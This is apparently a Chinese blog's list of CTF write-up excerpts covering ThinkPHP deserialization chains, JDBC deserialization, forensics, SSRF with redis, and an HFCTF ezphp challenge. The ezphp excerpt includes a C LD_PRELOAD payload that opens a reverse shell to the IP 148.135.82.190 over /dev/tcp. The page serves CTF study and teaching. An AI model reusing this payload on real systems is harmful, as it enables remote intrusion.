2024 SCTF Simpleshop 出题笔记以及对Thinkphp8环境下任意代码执行的改造

[TOC] 出题思路 其实这道题主要是想考一下在Thinkphp框架下在反序列化过程中如何实现任意文件写入以及cnext绕过disable_function实现命令执行 ...

十一月 13, 2024 · 5 分钟 · 2267 字 · J1rrY

Thinkphp8高版本反序列化链实现任意php代码执行

本身在Thinkphp框架模板渲染注入中可以实现eval执行任意命令 参考:https://xz.aliyun.com/t/15591 为了和disabled_function说再见 重新写了Thinkphp8高版本的反序列化链实现任意代码执行,而不仅仅是命令执行RCE,可以适用于更多的复杂情况 ...

十月 3, 2024 · 1 分钟 · 300 字 · J1rrY

羊城杯 2020 a_piece_of_java

考点:JDBC反序列化打CC链+动态代理类触发readobject 一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc 可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链 出现了一个==不常见的依赖库== serialkiller 做了反序列化的过滤器 可以尝试查看其源码 https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml 会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x 一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取 ...

九月 3, 2024 · 2 分钟 · 904 字 · J1rrY

R3CTF 2024 取证部分

这是自己当时做的想法 也可以结合 https://zysgmzb.club/index.php/archives/317 学习一下TPA 03 - 💻的做法 TPA 02 - 📱 Peggy 是一家公司的员工,和许多人一样,她偶尔也会使用个人手机执行与工作相关的任务。不幸的是,她成为了网络钓鱼攻击的目标。你的任务是找出攻击者的电话号码和佩吉的密码,从而揭露这次攻击的细节。 ...

八月 12, 2024 · 3 分钟 · 1146 字 · J1rrY

虎符CTF 2022 ezphp

https://blog.csdn.net/qq_45619909/article/details/128946735 考点:nginx临时文件上传+LD_PROLOAD劫持 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> [[HXPCTF 2021 includer’s revenge]] nginx临时文件包含技巧来源 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("id"); system("bash -c \"sh -i >& /dev/tcp/148.135.82.190/8888 0>&1\""); } __attribute__((constructor))指在main函数之前,执行一个函数,便于我们做一些准备工作,即我们定义了一个叫做preload的无参数无回显的预编译函数 使用以下命令编译生成so文件 ...

八月 11, 2024 · 1 分钟 · 253 字 · J1rrY

网鼎杯 2020 玄武组 SSRFMe

复习一下常见的redis主从复制 主要是redis伪服务器的选择和一些小细节 <?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } if(isset($_GET['url'])){ $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(__FILE__); } // Please visit hint.php locally. ?> 存在 curl_exec 执行 ssrf 对ip网段进行限制 ...

七月 11, 2024 · 1 分钟 · 470 字 · J1rrY

ThinkPHP审计(2) Thinkphp反序列化5.x链子

ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC 动态调试环境配置 比较简洁的环境配置教程: https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/ Thinkphp反序列化链5.1.X原理分析 Thinkphp反序列化链5.1.X原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性 ...

六月 12, 2024 · 13 分钟 · 6367 字 · J1rrY

2024 H&N CTF wp

Web ez_tp 判断是thinkphp 3.2 参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697 判断路由模式 ...

六月 11, 2024 · 9 分钟 · 4225 字 · J1rrY